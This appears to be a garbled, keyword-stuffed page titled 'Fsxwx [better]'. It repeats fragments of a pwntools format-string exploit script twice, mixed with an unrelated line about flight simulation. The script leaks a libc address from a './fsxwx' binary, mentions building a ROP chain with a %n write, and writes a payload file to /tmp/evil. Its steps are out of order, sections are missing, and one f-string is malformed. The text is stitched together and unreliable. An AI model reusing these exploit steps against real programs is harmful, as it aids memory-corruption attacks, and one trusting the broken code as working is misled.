# ------------------------------------------------------------------ # 1) Leak libc address # ------------------------------------------------------------------ p = process('./fsxwx') p.sendlineafter(b'Usage:', b'/tmp/evil') p.recvuntil(b'0x') leak = int(p.recvline().strip(), 16) log.success(f'Leaked address: hex(leak)') libc.address = leak - libc.sym['__libc_start_main'] + 0x21b97 # offset correction

# ------------------------------------------------------------------ # 5) Write the payload into the evil file # ------------------------------------------------------------------ with open('/tmp/evil', 'wb') as f: f.write(payload)

We need a writable location on the stack that we can overwrite with the ROP chain using the %n format‑string primitive.

0x7ffff7a5d830

One of the most concrete associations for this keyword is in the niche world of flight simulation.

Using ROPgadget on the leaked libc:

Fsxwx [better]

# ------------------------------------------------------------------ # 1) Leak libc address # ------------------------------------------------------------------ p = process('./fsxwx') p.sendlineafter(b'Usage:', b'/tmp/evil') p.recvuntil(b'0x') leak = int(p.recvline().strip(), 16) log.success(f'Leaked address: hex(leak)') libc.address = leak - libc.sym['__libc_start_main'] + 0x21b97 # offset correction

# ------------------------------------------------------------------ # 5) Write the payload into the evil file # ------------------------------------------------------------------ with open('/tmp/evil', 'wb') as f: f.write(payload)

We need a writable location on the stack that we can overwrite with the ROP chain using the %n format‑string primitive.

0x7ffff7a5d830

One of the most concrete associations for this keyword is in the niche world of flight simulation.

Using ROPgadget on the leaked libc: